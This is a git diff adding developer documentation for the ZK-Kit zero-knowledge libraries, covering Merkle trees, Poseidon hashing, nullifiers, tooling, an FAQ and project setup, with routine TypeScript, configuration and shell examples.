+const hash = poseidon2([value1, value2]) + +// Properties: +// - Deterministic: Same input β†’ Same output +// - One-way: Can't reverse +// - Collision-resistant: Hard to find two inputs with same output +// - ZK-friendly: Efficient in circuits +``` + +### Field Arithmetic + +Operations happen in a finite field: + +```typescript +import { F1Field } from "@zk-kit/utils" + +const field = new F1Field(/* prime */) + +// All operations mod prime +const sum = field.add(a, b) +const product = field.mul(a, b) +const inverse = field.inv(a) +``` + +### Elliptic Curves + +For signatures and advanced cryptography: + +```typescript +import { Point } from "@zk-kit/baby-jubjub" + +const point = Point.fromPrivateKey(privateKey) +// Point on Baby Jubjub curve +// Used for EdDSA signatures +``` + +## Privacy Levels + +ZK-Kit enables different privacy levels: + +### Level 1: Pseudonymous +```typescript +// Public key visible, but not linked to real identity +const publicKey = derivePublicKey(privateKey) +``` + +### Level 2: Anonymous +```typescript +// Prove membership without revealing which member +const proof = tree.createProof(myIndex) +``` + +### Level 3: Unlinkable +```typescript +// Different proofs can't be linked to same user +const nullifier1 = poseidon2([secret, "action-1"]) +const nullifier2 = poseidon2([secret, "action-2"]) +// No way to tell if from same user +``` + +## Security Considerations + +### Randomness + +```typescript +import { randomBytes } from "crypto" + +// Generate secure random secret +const secret = BigInt("0x" + randomBytes(32).toString("hex")) + +// ❌ BAD: Predictable +const badSecret = BigInt(userId) + +// βœ… GOOD: Cryptographically secure random +``` + +### Nullifier Uniqueness + +```typescript +// Include context to prevent cross-application attacks +const nullifier = poseidon2([ + userSecret, + BigInt("0x" + Buffer.from("my-app-v1").toString("hex")), + actionId +]) +``` + +### Root Management + +```typescript +// Store roots on-chain for trustless verification +await contract.updateRoot(tree.root) + +// Verify against on-chain root +const onChainRoot = await contract.getRoot() +if (proof.root !== onChainRoot) { + throw new Error("Proof uses outdated root") +} +``` + +## Performance Characteristics + +### Proof Size + +```typescript +// For tree depth 20: +// - Proof contains 20 siblings +// - Each sibling is ~32 bytes +// - Total: ~640 bytes + +const proof = tree.createProof(0) +const proofSize = JSON.stringify(proof).length +console.log(`Proof size: ${proofSize} bytes`) +``` + +### Verification Time + +```typescript +// Verification is O(log n) +// For 1M members (depth 20): +// - Proof generation: ~8ms +// - Verification: ~3ms +``` + +## Next Steps + +- [Merkle Trees](/docs/core-concepts/merkle-trees) - Deep dive into Merkle structures +- [Packages Overview](/docs/packages/overview) - Explore ZK-Kit packages +- [Your First Proof](/docs/getting-started/first-proof) - Build your first proof +- [Choosing a Package](/docs/packages/choosing-a-package) - Find the right package + +## Resources + +- [Zero-Knowledge Proofs: An Introduction](https://z.cash/learn/what-are-zk-snarks/) +- [ZK Whiteboard Sessions](https://www.youtube.com/playlist?list=PLj80z0cJm8QErn3akRcqvxUsyXWC81OGq) +- [ZK-Kit GitHub](https://github.com/zk-kit/zk-kit) + diff --git a/docs/development-tools.md b/docs/development-tools.md new file mode 100644 index 0000000..a55afeb --- /dev/null +++ b/docs/development-tools.md @@ -0,0 +1,530 @@ +--- +sidebar_position: 7 +title: Development Tools & Workflow +--- + +# Development Tools & Workflow + +ZK-Kit provides pre-configured development tools for maintaining code quality and streamlining the development process. + +## Monorepo Structure + +ZK-Kit uses **Yarn workspaces** for minimal monorepo package management. This allows: +- Shared dependencies across packages +- Simplified build and test workflows +- Consistent versioning + +### Commands + +```bash +yarn # Install all dependencies +yarn build # Build all packages +yarn docs # Generate documentation for all packages +``` + +## Code Quality Tools + +### ESLint + +Analyzes code and catches bugs automatically. + +```bash +yarn lint +``` + +ESLint configuration ensures: +- Consistent code style +- Early bug detection +- Best practices enforcement + +**Features:** +- Automatic error detection +- Code style consistency +- TypeScript integration +- Pre-configured rules + +### Prettier + +Code formatting for consistency. + +```bash +yarn format # Check formatting rules +yarn format:write # Automatically format code +``` + +**Benefits:** +- Consistent code formatting +- No style debates +- Automatic on save (with IDE integration) +- Works with ESLint + +## Testing Framework + +### Jest + +Test framework for all JavaScript libraries. + +```bash +yarn test:libraries # Run all tests +yarn test # Run tests for current package +``` + +**Testing best practices:** +- Write tests for all new features +- Maintain high test coverage +- Test edge cases +- Use descriptive test names + +**Example Test:** + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +describe("IMT", () => { + it("should create a tree and verify proofs", () => { + const tree = new IMT(poseidon2, 16, 0, 2) + tree.insert(BigInt(1)) + + const proof = tree.createProof(0) + const isValid = tree.verifyProof(proof) + + expect(isValid).toBe(true) + }) +}) +``` + +## Documentation Generation + +### Typedocs + +Automatically generates documentation from TypeScript code. + +```bash +yarn docs +``` + +**Output location:** `docs/` folder + +**Features:** +- Auto-generated API reference +- Type information +- Function signatures +- Usage examples from JSDoc comments + +**Writing Documentation Comments:** + +```typescript +/** + * Creates a Merkle tree proof for a specific leaf. + * @param index The index of the leaf to prove + * @returns A proof object containing siblings and path + */ +createProof(index: number): MerkleProof { + // implementation +} +``` + +## Benchmarking + +### Benny + +Simple benchmarking framework for JavaScript/TypeScript. + +```bash +yarn benchmarks # Run all benchmarks +yarn benchmarks [filename] # Run specific benchmark +``` + +**Creating benchmarks:** + +1. Create a file in `benchmarks/` folder +2. Export a benchmark function +3. Add to `benchmarks/index.ts` +4. Results saved in `benchmarks/results/` + +**Example Benchmark:** + +```typescript +import { add, complete, cycle, save, suite } from "benny" +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +export default function () { + return suite( + "IMT Operations", + + add("insert", () => { + const tree = new IMT(poseidon2, 16, 0, 2) + return () => tree.insert(BigInt(1)) + }), + + add("create proof", () => { + const tree = new IMT(poseidon2, 16, 0, 2) + tree.insert(BigInt(1)) + return () => tree.createProof(0) + }), + + cycle(), + complete(), + save({ file: "imt", folder: "benchmarks/results" }) + ) +} +``` + +## Commit Workflow + +### Conventional Commits + +Structured, human and machine-readable commit messages. + +```bash +yarn commit +``` + +**This command:** +- Guides you through commit message creation +- Automatically checks ESLint compliance +- Automatically checks Prettier compliance +- Ensures consistent commit format + +**Commit message format:** + +``` +type(scope): subject + +body + +footer +``` + +**Types:** +- `feat`: New feature +- `fix`: Bug fix +- `docs`: Documentation changes +- `style`: Code style changes (formatting) +- `refactor`: Code refactoring +- `test`: Adding/updating tests +- `chore`: Maintenance tasks + +**Examples:** + +```bash +feat(imt): add batch insertion support + +Adds insertMany() method for efficiently inserting multiple leaves at once. + +Closes #123 +``` + +```bash +fix(eddsa): correct signature verification edge case + +Fixed an issue where signatures with zero values would fail verification. +``` + +## CI/CD Pipeline + +### GitHub Actions + +Automated workflows for: +- **Automatic testing** on every push/PR +- **Documentation deployment** on releases +- **Code quality checks** (ESLint, Prettier) +- **npm publishing** when tags are pushed + +**Workflow triggers:** +- Push to main branch +- Pull request creation +- Git tag push (for releases) + +**Example Workflow:** + +```yaml +name: CI + +on: [push, pull_request] + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 + - run: yarn install + - run: yarn build + - run: yarn test + - run: yarn lint +``` + +## Development Workflow + +### Standard Development Flow + +1. **Clone the repository:** + ```bash + git clone https://github.com/privacy-scaling-explorations/zk-kit.git + cd zk-kit + ``` + +2. **Install dependencies:** + ```bash + yarn + ``` + +3. **Create a branch:** + ```bash + git checkout -b feature/my-feature + ``` + +4. **Make changes:** + - Write code + - Write tests + - Update documentation + +5. **Run quality checks:** + ```bash + yarn build # Build packages + yarn test # Run tests + yarn lint # Check linting + yarn format # Check formatting + ``` + +6. **Commit changes:** + ```bash + yarn commit # Interactive commit + ``` + +7. **Push and create PR:** + ```bash + git push origin feature/my-feature + ``` + +### Package Development + +**Working on a specific package:** + +```bash +cd packages/imt +yarn test # Run package tests +yarn build # Build package +``` + +**Testing changes in another project:** + +```bash +# In the zk-kit package directory +yarn link + +# In your project +yarn link @zk-kit/imt +``` + +## Publishing Workflow + +### Bumping Versions + +```bash +yarn version:bump + +# Example: +yarn version:bump utils 2.0.0 +``` + +This creates: +- A commit with version change +- A git tag + +### Publishing to npm + +**Step 1: Bump version** (see above) + +**Step 2: Push to main** +```bash +git push origin main +``` + +**Step 3: Push the git tag** +```bash +git push origin - + +# Example: +git push origin utils-v2.0.0 +``` + +**Step 4: Automatic deployment** + +After pushing the tag: +- GitHub Actions workflow triggers automatically +- Package is published to [npm](https://www.npmjs.com/) +- GitHub release is created with changelogs + +## IDE Setup + +### VS Code + +**Recommended extensions:** + +```json +{ + "recommendations": [ + "dbaeumer.vscode-eslint", + "esbenp.prettier-vscode", + "ms-vscode.vscode-typescript-next" + ] +} +``` + +**Settings:** + +```json +{ + "editor.formatOnSave": true, + "editor.codeActionsOnSave": { + "source.fixAll.eslint": true + }, + "typescript.tsdk": "node_modules/typescript/lib" +} +``` + +### WebStorm/IntelliJ + +1. Enable ESLint: `Settings β†’ Languages & Frameworks β†’ JavaScript β†’ Code Quality Tools β†’ ESLint` +2. Enable Prettier: `Settings β†’ Languages & Frameworks β†’ JavaScript β†’ Prettier` +3. Format on save: `Settings β†’ Tools β†’ Actions on Save` + +## Debugging + +### Node.js Debugging + +**VS Code launch.json:** + +```json +{ + "version": "0.2.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Jest Tests", + "program": "${workspaceFolder}/node_modules/.bin/jest", + "args": ["--runInBand"], + "console": "integratedTerminal" + } + ] +} +``` + +### Browser Debugging + +Use browser DevTools with source maps: + +```typescript +// Your code here +debugger; // Breakpoint +``` + +## Performance Monitoring + +### Memory Profiling + +```bash +node --inspect-brk node_modules/.bin/jest +# Open chrome://inspect in Chrome +``` + +### Benchmark Comparison + +```bash +# Run benchmarks before changes +yarn benchmarks > before.txt + +# Make changes +# Run benchmarks after +yarn benchmarks > after.txt + +# Compare +diff before.txt after.txt +``` + +## Troubleshooting + +### Common Issues + +**Issue: Tests failing after changes** + +```bash +# Clear Jest cache +yarn test --clearCache + +# Rebuild packages +yarn build +``` + +**Issue: Linting errors** + +```bash +# Auto-fix where possible +yarn lint --fix + +# Format code +yarn format:write +``` + +**Issue: Type errors** + +```bash +# Rebuild TypeScript declarations +yarn build +``` + +## Best Practices + +### Code Style + +- Use TypeScript for type safety +- Write descriptive variable names +- Keep functions small and focused +- Comment complex logic +- Follow existing patterns + +### Testing + +- Test happy path and edge cases +- Use descriptive test names +- Mock external dependencies +- Aim for 80%+ coverage +- Test public API, not implementation + +### Documentation + +- Document all public APIs +- Include usage examples +- Explain complex algorithms +- Keep README up to date +- Add JSDoc comments + +### Performance + +- Profile before optimizing +- Benchmark critical paths +- Consider memory usage +- Use appropriate data structures +- Avoid premature optimization + +## Resources + +- [Yarn Workspaces](https://yarnpkg.com/features/workspaces) +- [Jest Documentation](https://jestjs.io/) +- [ESLint Rules](https://eslint.org/docs/rules/) +- [Prettier Options](https://prettier.io/docs/en/options.html) +- [Conventional Commits](https://www.conventionalcommits.org/) +- [GitHub Actions](https://docs.github.com/en/actions) + +## Next Steps + +- [Contributing Guide](/docs/contributing) +- [Packages Overview](/docs/packages/overview) +- [Quick Start](/docs/getting-started/quick-start) +- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit) + diff --git a/docs/faq.md b/docs/faq.md new file mode 100644 index 0000000..0471e06 --- /dev/null +++ b/docs/faq.md @@ -0,0 +1,371 @@ +--- +sidebar_position: 10 +title: FAQ (Frequently Asked Questions) +--- + +# FAQ (Frequently Asked Questions) + +Common questions and answers about ZK-Kit. + +## General Questions + +### What is ZK-Kit? + +ZK-Kit is a set of libraries (algorithms or utility functions) that can be reused in different projects and zero-knowledge protocols, making it easier for developers to access user-friendly, tested, and documented code for common tasks. + +### Which programming languages does ZK-Kit support? + +ZK-Kit provides implementations in multiple languages: +- **JavaScript/TypeScript** (this repository) +- **Circom** (for ZK circuits) +- **Solidity** (for smart contracts) +- **Noir** (for Aztec Network) +- **Rust** (for performance-critical applications) + +See [Language Implementations](/docs/introduction/language-implementations) for details. + +### Is ZK-Kit production-ready? + +Some packages have been audited (marked with βœ”οΈ), while others are still in beta or unaudited. Check each package's audit status before using in production. + +**Audited packages:** +- @zk-kit/eddsa-poseidon βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) +- @zk-kit/baby-jubjub βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) +- @zk-kit/utils βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) +- @zk-kit/imt βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) +- @zk-kit/lean-imt βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) +- @zk-kit/smt βœ”οΈ ([Audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)) + +### How do I get support? + +- **GitHub Issues**: [Report bugs or ask questions](https://github.com/privacy-scaling-explorations/zk-kit/issues) +- **GitHub Discussions**: [Community discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions) +- **Documentation**: [zkkit.pse.dev](https://zkkit.pse.dev/) or these docs + +--- + +## Merkle Tree Questions + +### Which Merkle Tree should I use? + +This is the most common question. The answer depends on your use case: + +**Use Incremental Merkle Tree (IMT) when:** +- You need to frequently add new elements +- Your tree size is small to medium (< 1024 leaves) +- You want the fastest insert operations +- You're building something similar to Semaphore V3 or Worldcoin + +**Use Lean IMT when:** +- Memory efficiency is important +- You need the fastest update and proof generation +- You're okay with dynamic tree depth +- You're building something similar to Semaphore V4 or Zupass + +**Use Sparse Merkle Tree (SMT) when:** +- You need proof of non-membership +- Your dataset is large +- You need key-value store functionality +- You're building something similar to Iden3's identity system + +**Still not sure?** Check the [Performance Benchmarks](/docs/core-concepts/merkle-trees#performance-benchmarks) for detailed comparisons. + +### Can I convert between different Merkle Tree types? + +No, each tree type has a different structure and cannot be directly converted. You would need to rebuild the tree using the new implementation. + +### How do I verify a Merkle proof? + +Each tree implementation provides a `verifyProof()` method: + +```typescript +// IMT +const proof = tree.createProof(leafIndex) +const isValid = tree.verifyProof(proof) + +// LeanIMT +const proof = tree.generateProof(leafIndex) +const isValid = tree.verifyProof(proof) + +// SMT +const proof = tree.createProof(key) +const isValid = tree.verifyProof(proof) +``` + +--- + +## Development Questions + +### How do I contribute a new package? + +See the [Creating a New Package](/docs/contributing#creating-a-new-package) section in the Contributing guide. + +### Why are my tests failing? + +Make sure you've: +1. Installed all dependencies: `yarn` +2. Built all packages: `yarn build` +3. Formatted your code: `yarn format:write` +4. Linted your code: `yarn lint` + +### How do I run benchmarks for my package? + +See the [Benchmarking](/docs/development-tools#benchmarking) section for detailed instructions. + +### What's the difference between this repo and the old version? + +If you're looking for version 1.x of certain packages (like IMT), check the package README for links to the old implementation. Most packages have been significantly refactored and improved in version 2.x. + +--- + +## Security & Auditing Questions + +### Which packages have been audited? + +See the [package table](/docs/packages/overview#package-status) in the JavaScript Packages section. Audited packages are marked with βœ”οΈ and link to the audit report. + +All audited packages were reviewed as part of the [Semaphore V4 PSE audit](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf). + +### What should I do if I find a security vulnerability? + +Please **DO NOT** open a public issue. Instead: +1. Email the maintainers at security@pse.dev (or check SECURITY.md if available) +2. Use GitHub's private security advisory feature +3. Allow time for a patch before public disclosure + +### Why is @zk-kit/poseidon-proof unaudited? + +This package is newer and uses a trusted setup that is considered insecure for production. It's primarily intended for testing and development. An audit is planned for future releases. + +--- + +## Performance Questions + +### Why is LeanIMT slower for insertions? + +LeanIMT optimizes for proof generation and updates at the cost of slightly slower insertions. The dynamic depth adjustment requires more computation during insertion but results in faster proofs. + +### How can I improve Merkle tree performance? + +- **Use appropriate tree depth** (deeper = slower) +- **Batch insertions when possible** (use `insertMany()` for LeanIMT) +- **Choose the right tree type** for your use case (see benchmarks) +- **Consider using workers** for hash-intensive operations + +### Can I use these libraries in the browser? + +Yes! All JavaScript packages are browser-compatible. You can load them via: +- npm/yarn install +- CDN (unpkg or jsDelivr) + +See the [Installation guide](/docs/getting-started/installation#browser-support) for browser setup. + +--- + +## Cryptography Questions + +### What hash function should I use? + +For zero-knowledge applications, use **Poseidon** (from `poseidon-lite` package). It's specifically designed for ZK circuits and is much more efficient than SHA-256 or Keccak for ZK proofs. + +```typescript +import { poseidon2 } from "poseidon-lite" + +const hash = poseidon2([a, b]) +``` + +### What's the difference between EdDSA and ECDSA? + +EdDSA (used in `@zk-kit/eddsa-poseidon`) is: +- More ZK-friendly (fewer constraints in circuits) +- Deterministic (no random nonce required) +- Uses twisted Edwards curves (Baby Jubjub) +- Faster for ZK applications + +ECDSA is the traditional signature algorithm used in Bitcoin and Ethereum. + +### Are these implementations constant-time? + +JavaScript is not ideal for constant-time cryptography due to JIT optimization and garbage collection. For security-critical applications requiring constant-time operations, consider using the Rust implementations. + +--- + +## Integration Questions + +### Can I use ZK-Kit with my existing ZK framework? + +Yes! ZK-Kit is designed to be framework-agnostic. It works with: +- Circom circuits +- SnarkJS +- Noir +- Halo2 +- Any framework that supports the underlying cryptographic primitives + +### Does ZK-Kit work with ethers.js / web3.js? + +Yes, ZK-Kit packages return `BigInt` values that are compatible with both ethers.js and web3.js. + +```typescript +import { IMT } from "@zk-kit/imt" +import { ethers } from "ethers" + +const tree = new IMT(poseidon2, 16, 0, 2) +const root = tree.root + +// Use with ethers.js +await contract.updateRoot(root) +``` + +### How do I use ZK-Kit in a React app? + +Install via npm/yarn and import normally: + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" +import { useState } from "react" + +function MyComponent() { + const [tree] = useState(() => new IMT(poseidon2, 16, 0, 2)) + + // Use tree... +} +``` + +--- + +## Troubleshooting + +### I'm getting "Cannot find module" errors + +Make sure you've: +1. Installed the package: `npm i @zk-kit/[package-name]` +2. Installed peer dependencies (check npm page) +3. Built the project: `yarn build` (for development) + +### The generated proofs are too large + +Consider: +- Using a shallower tree depth +- Using LeanIMT instead of IMT +- Using SparseMT for sparse data + +### I need help with a specific use case + +Please [open a discussion](https://github.com/privacy-scaling-explorations/zk-kit/discussions) describing your use case. The community is happy to help! + +--- + +## Package-Specific Questions + +### How do I generate nullifiers? + +Use a hash of your secret and a unique identifier: + +```typescript +import { poseidon2 } from "poseidon-lite" + +const nullifier = poseidon2([mySecret, appIdentifier]) +``` + +Nullifiers prevent double-usage of proofs while maintaining anonymity. + +### What's the maximum tree depth? + +**IMT**: Typically 32 (2^32 leaves), but practical limit depends on memory +**LeanIMT**: Dynamic depth, grows as needed +**SMT**: 256 (2^256 possible keys) + +### Can I update a leaf after insertion? + +Yes, all tree types support updates: + +```typescript +// IMT +tree.update(index, newValue) + +// LeanIMT +tree.update(index, newValue) + +// SMT +tree.update(key, newValue) +``` + +### How do I delete a leaf? + +```typescript +// IMT (sets to zero value) +tree.delete(index) + +// LeanIMT (sets to zero value) +tree.delete(index) + +// SMT (actually removes key) +tree.delete(key) +``` + +Note: IMT and LeanIMT set the leaf to the zero value rather than removing it. + +--- + +## Best Practices + +### Should I use BigInt or number? + +Always use `BigInt` for cryptographic operations: + +```typescript +// Good +tree.insert(BigInt(123)) +tree.insert(123n) + +// Bad (may lose precision) +tree.insert(123) +``` + +### How do I store tree state? + +For persistence, serialize the tree: + +```typescript +// IMT +const state = { + root: tree.root.toString(), + leaves: tree.leaves.map(l => l.toString()) +} + +// Save to database/localStorage +localStorage.setItem('tree', JSON.stringify(state)) +``` + +### Should I generate proofs on the client or server? + +**Client-side** (recommended): +- More privacy (secrets never leave client) +- Better scalability +- User controls their own data + +**Server-side**: +- If clients can't run the computation +- If you need to batch operations +- If you're managing users' secrets (not recommended) + +--- + +## Still have questions? + +**Can't find your question?** + +- Check the [API Documentation](https://zkkit.pse.dev/) +- Search [existing issues](https://github.com/privacy-scaling-explorations/zk-kit/issues) +- Ask in [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions) +- Open a [new issue](https://github.com/privacy-scaling-explorations/zk-kit/issues/new) + +## Resources + +- [Documentation Home](/docs) +- [Quick Start](/docs/getting-started/quick-start) +- [Packages Overview](/docs/packages/overview) +- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit) +- [npm Organization](https://www.npmjs.com/org/zk-kit) + diff --git a/docs/getting-started/_category_.json b/docs/getting-started/_category_.json new file mode 100644 index 0000000..9e2e871 --- /dev/null +++ b/docs/getting-started/_category_.json @@ -0,0 +1,11 @@ +{ + "label": "Getting Started", + "position": 2, + "link": { + "type": "generated-index", + "title": "Getting Started with ZK-Kit", + "description": "Install packages, build your first proof, and set up your development environment.", + "slug": "/category/getting-started" + } +} + diff --git a/docs/getting-started/development-setup.md b/docs/getting-started/development-setup.md new file mode 100644 index 0000000..dad9ef0 --- /dev/null +++ b/docs/getting-started/development-setup.md @@ -0,0 +1,588 @@ +--- +sidebar_position: 4 +title: Development Setup +--- + +# Development Setup + +Set up your development environment for building ZK applications with ZK-Kit. + +## Project Structure + +Recommended folder structure for ZK-Kit projects: + +``` +my-zk-app/ +β”œβ”€β”€ src/ +β”‚ β”œβ”€β”€ circuits/ # Circom circuits (if using) +β”‚ β”œβ”€β”€ contracts/ # Smart contracts (if using) +β”‚ β”œβ”€β”€ lib/ +β”‚ β”‚ β”œβ”€β”€ auth.ts # Authentication logic +β”‚ β”‚ β”œβ”€β”€ proofs.ts # Proof generation +β”‚ β”‚ └── trees.ts # Merkle tree management +β”‚ β”œβ”€β”€ utils/ +β”‚ β”‚ └── crypto.ts # Cryptographic utilities +β”‚ └── index.ts # Main entry point +β”œβ”€β”€ test/ +β”‚ β”œβ”€β”€ auth.test.ts +β”‚ └── proofs.test.ts +β”œβ”€β”€ examples/ +β”‚ └── basic-proof.ts +β”œβ”€β”€ package.json +β”œβ”€β”€ tsconfig.json +β”œβ”€β”€ .env.example +└── README.md +``` + +## Initial Setup + +### 1. Create Project + +```bash +mkdir my-zk-app && cd my-zk-app +npm init -y +``` + +### 2. Install Dependencies + +```bash +# ZK-Kit packages +npm install @zk-kit/imt @zk-kit/eddsa-poseidon +# + peer dependencies (check npm pages for each package) + +# Development dependencies +npm install --save-dev typescript @types/node ts-node nodemon + +# Testing +npm install --save-dev jest @types/jest ts-jest + +# Linting +npm install --save-dev eslint @typescript-eslint/parser @typescript-eslint/eslint-plugin prettier +``` + +### 3. TypeScript Configuration + +Create `tsconfig.json`: + +```json +{ + "compilerOptions": { + "target": "ES2020", + "module": "CommonJS", + "lib": ["ES2020"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "moduleResolution": "node" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist", "test"] +} +``` + +### 4. Package Scripts + +Update `package.json`: + +```json +{ + "scripts": { + "build": "tsc", + "dev": "nodemon --exec ts-node src/index.ts", + "start": "node dist/index.js", + "test": "jest", + "test:watch": "jest --watch", + "lint": "eslint src --ext .ts", + "format": "prettier --write \"src/**/*.ts\"", + "clean": "rm -rf dist" + } +} +``` + +## Testing Setup + +### Jest Configuration + +Create `jest.config.js`: + +```javascript +module.exports = { + preset: 'ts-jest', + testEnvironment: 'node', + roots: ['/test'], + testMatch: ['**/*.test.ts'], + collectCoverageFrom: [ + 'src/**/*.ts', + '!src/**/*.d.ts' + ], + coverageThreshold: { + global: { + branches: 80, + functions: 80, + lines: 80, + statements: 80 + } + } +} +``` + +### Example Test + +Create `test/proofs.test.ts`: + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +describe('Proof Generation', () => { + let tree: IMT + + beforeEach(() => { + tree = new IMT(poseidon2, 16, 0, 2) + }) + + test('should create valid proof', () => { + const leaf = BigInt(1) + const index = tree.insert(leaf) + const proof = tree.createProof(index) + + expect(tree.verifyProof(proof)).toBe(true) + }) + + test('should reject invalid proof', () => { + tree.insert(BigInt(1)) + const proof = tree.createProof(0) + proof.leaf = BigInt(999) // Tamper with proof + + expect(tree.verifyProof(proof)).toBe(false) + }) +}) +``` + +## Linting Setup + +### ESLint Configuration + +Create `.eslintrc.json`: + +```json +{ + "parser": "@typescript-eslint/parser", + "extends": [ + "eslint:recommended", + "plugin:@typescript-eslint/recommended" + ], + "parserOptions": { + "ecmaVersion": 2020, + "sourceType": "module" + }, + "rules": { + "@typescript-eslint/no-explicit-any": "warn", + "@typescript-eslint/explicit-function-return-type": "off", + "@typescript-eslint/no-unused-vars": ["error", { + "argsIgnorePattern": "^_" + }] + } +} +``` + +### Prettier Configuration + +Create `.prettierrc`: + +```json +{ + "semi": false, + "trailingComma": "none", + "singleQuote": true, + "printWidth": 100, + "tabWidth": 2 +} +``` + +## Environment Variables + +Create `.env.example`: + +```bash +# Application +NODE_ENV=development +PORT=3000 + +# Blockchain (if using) +RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY +PRIVATE_KEY=your_private_key_here + +# ZK Configuration +TREE_DEPTH=20 +ZERO_VALUE=0 + +# Database (if using) +DATABASE_URL=postgresql://user:pass@localhost:5432/zkapp +``` + +Create `.env`: +```bash +cp .env.example .env +# Edit .env with your values +``` + +Add to `.gitignore`: +``` +.env +node_modules/ +dist/ +coverage/ +*.log +``` + +## Development Workflow + +### 1. Create a Feature + +```typescript +// src/lib/auth.ts +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +export class AuthSystem { + private tree: IMT + + constructor(depth: number = 16) { + this.tree = new IMT(poseidon2, depth, 0, 2) + } + + register(commitment: bigint): number { + return this.tree.insert(commitment) + } + + createProof(index: number) { + return this.tree.createProof(index) + } + + verify(proof: any): boolean { + return this.tree.verifyProof(proof) + } + + get root() { + return this.tree.root + } +} +``` + +### 2. Write Tests + +```typescript +// test/auth.test.ts +import { AuthSystem } from '../src/lib/auth' +import { poseidon2 } from 'poseidon-lite' + +describe('AuthSystem', () => { + let auth: AuthSystem + + beforeEach(() => { + auth = new AuthSystem() + }) + + test('should register users', () => { + const commitment = poseidon2([BigInt(1)]) + const index = auth.register(commitment) + expect(index).toBe(0) + }) + + test('should verify proofs', () => { + const commitment = poseidon2([BigInt(1)]) + const index = auth.register(commitment) + const proof = auth.createProof(index) + expect(auth.verify(proof)).toBe(true) + }) +}) +``` + +### 3. Run Development Server + +```bash +npm run dev +``` + +### 4. Run Tests + +```bash +npm test +``` + +## Debugging + +### VS Code Configuration + +Create `.vscode/launch.json`: + +```json +{ + "version": "0.2.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Debug TypeScript", + "program": "${workspaceFolder}/src/index.ts", + "preLaunchTask": "tsc: build - tsconfig.json", + "outFiles": ["${workspaceFolder}/dist/**/*.js"], + "runtimeArgs": ["-r", "ts-node/register"] + }, + { + "type": "node", + "request": "launch", + "name": "Debug Tests", + "program": "${workspaceFolder}/node_modules/.bin/jest", + "args": ["--runInBand", "--no-cache"], + "console": "integratedTerminal" + } + ] +} +``` + +### Debug Logging + +```typescript +// src/utils/logger.ts +export function debug(label: string, data: any) { + if (process.env.DEBUG === 'true') { + console.log(`[${label}]`, data) + } +} + +// Usage +import { debug } from './utils/logger' + +const tree = new IMT(poseidon2, 16, 0, 2) +debug('tree-root', tree.root.toString()) +``` + +## Performance Monitoring + +```typescript +// src/utils/benchmark.ts +export function benchmark( + name: string, + fn: () => T +): T { + const start = performance.now() + const result = fn() + const end = performance.now() + console.log(`${name}: ${(end - start).toFixed(2)}ms`) + return result +} + +// Usage +import { benchmark } from './utils/benchmark' + +benchmark('proof-generation', () => { + const proof = tree.createProof(0) + return proof +}) +``` + +## Git Workflow + +### .gitignore + +``` +# Dependencies +node_modules/ + +# Build +dist/ +build/ + +# Environment +.env +.env.local + +# IDE +.vscode/ +.idea/ +*.swp +*.swo + +# Logs +logs/ +*.log + +# Testing +coverage/ +.nyc_output/ + +# OS +.DS_Store +Thumbs.db +``` + +### Commit Hooks + +Install husky: + +```bash +npm install --save-dev husky lint-staged +npx husky install +``` + +Add to `package.json`: + +```json +{ + "lint-staged": { + "*.ts": [ + "eslint --fix", + "prettier --write" + ] + } +} +``` + +Create hook: + +```bash +npx husky add .husky/pre-commit "npx lint-staged" +``` + +## CI/CD Setup + +### GitHub Actions + +Create `.github/workflows/test.yml`: + +```yaml +name: Test + +on: [push, pull_request] + +jobs: + test: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + + - name: Setup Node.js + uses: actions/setup-node@v3 + with: + node-version: '18' + + - name: Install dependencies + run: npm ci + + - name: Run linter + run: npm run lint + + - name: Run tests + run: npm test + + - name: Build + run: npm run build +``` + +## Docker Setup + +### Dockerfile + +```dockerfile +FROM node:18-alpine + +WORKDIR /app + +COPY package*.json ./ +RUN npm ci --only=production + +COPY . . +RUN npm run build + +CMD ["node", "dist/index.js"] +``` + +### docker-compose.yml + +```yaml +version: '3.8' + +services: + app: + build: . + ports: + - "3000:3000" + environment: + - NODE_ENV=production + volumes: + - ./data:/app/data +``` + +## Best Practices + +### 1. Type Safety + +```typescript +// Define types for your domain +export interface UserCommitment { + commitment: bigint + index: number + timestamp: number +} + +export interface ProofData { + proof: any + nullifier: bigint + root: bigint +} +``` + +### 2. Error Handling + +```typescript +export class AuthError extends Error { + constructor(message: string) { + super(message) + this.name = 'AuthError' + } +} + +// Usage +if (!tree.verifyProof(proof)) { + throw new AuthError('Invalid proof provided') +} +``` + +### 3. Configuration Management + +```typescript +// src/config.ts +export const config = { + tree: { + depth: parseInt(process.env.TREE_DEPTH || '20'), + zeroValue: parseInt(process.env.ZERO_VALUE || '0') + }, + server: { + port: parseInt(process.env.PORT || '3000') + } +} +``` + +## Next Steps + +- [TypeScript 